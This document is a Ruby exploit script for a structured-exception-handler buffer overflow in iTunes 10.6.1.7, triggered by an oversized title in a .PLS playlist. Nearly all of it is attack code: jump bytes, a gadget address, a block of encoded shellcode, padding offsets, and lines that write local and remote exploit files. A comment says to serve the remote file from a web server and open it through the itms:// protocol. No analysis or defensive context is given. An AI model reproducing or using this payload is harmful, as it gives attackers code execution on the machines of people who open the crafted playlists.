iTunes 10.6.1.7 - '.PLS' Title Buffer Overflow

nseh_longer = "\xeb\x1E\x90\x90" nseh_shorter = "\xeb\x06\x90\x90" seh = 0x72d119de #pop pop ret from msacm32.drv shell = "\xdd\xc1\xd9\x74\x24\xf4\xbb\x2b\x2b\x88\x37\x5a\x31\xc9" + "\xb1\x33\x83\xea\xfc\x31\x5a\x13\x03\x71\x38\x6a\xc2\x79" + "\xd6\xe3\x2d\x81\x27\x94\xa4\x64\x16\x86\xd3\xed\x0b\x16" + "\x97\xa3\xa7\xdd\xf5\x57\x33\x93\xd1\x58\xf4\x1e\x04\x57" + "\x05\xaf\x88\x3b\xc5\xb1\x74\x41\x1a\x12\x44\x8a\x6f\x53" + "\x81\xf6\x80\x01\x5a\x7d\x32\xb6\xef\xc3\x8f\xb7\x3f\x48" + "\xaf\xcf\x3a\x8e\x44\x7a\x44\xde\xf5\xf1\x0e\xc6\x7e\x5d" + "\xaf\xf7\x53\xbd\x93\xbe\xd8\x76\x67\x41\x09\x47\x88\x70" + "\x75\x04\xb7\xbd\x78\x54\xff\x79\x63\x23\x0b\x7a\x1e\x34" + "\xc8\x01\xc4\xb1\xcd\xa1\x8f\x62\x36\x50\x43\xf4\xbd\x5e" + "\x28\x72\x99\x42\xaf\x57\x91\x7e\x24\x56\x76\xf7\x7e\x7d" + "\x52\x5c\x24\x1c\xc3\x38\x8b\x21\x13\xe4\x74\x84\x5f\x06" + "\x60\xbe\x3d\x4c\x77\x32\x38\x29\x77\x4c\x43\x19\x10\x7d" + "\xc8\xf6\x67\x82\x1b\xb3\x98\xc8\x06\x95\x30\x95\xd2\xa4" + "\x5c\x26\x09\xea\x58\xa5\xb8\x92\x9e\xb5\xc8\x97\xdb\x71" + "\x20\xe5\x74\x14\x46\x5a\x74\x3d\x25\x3d\xe6\xdd\x84\xd8" + "\x8e\x44\xd9" #1020 --> offset in local exploits payload = header + "A" * 1020 + nseh_shorter + [seh].pack('V') + shell #380 or 404 (if itunes wasn't already loaded)--> offset in remote ones using the itms protocol. payload_remote = header + "A" * 380 + nseh_longer + [seh].pack('V') + "A" * 16 + nseh_shorter + [seh].pack('V') + shell # when using as local exploit open('exploit.pls', 'w') { |f| f.puts payload } puts('local file created') # place this in a web server and use the itms:// protocol to load it. open('exploit_remote.pls', 'w') { |f| f.puts payload_remote } puts('remote file created')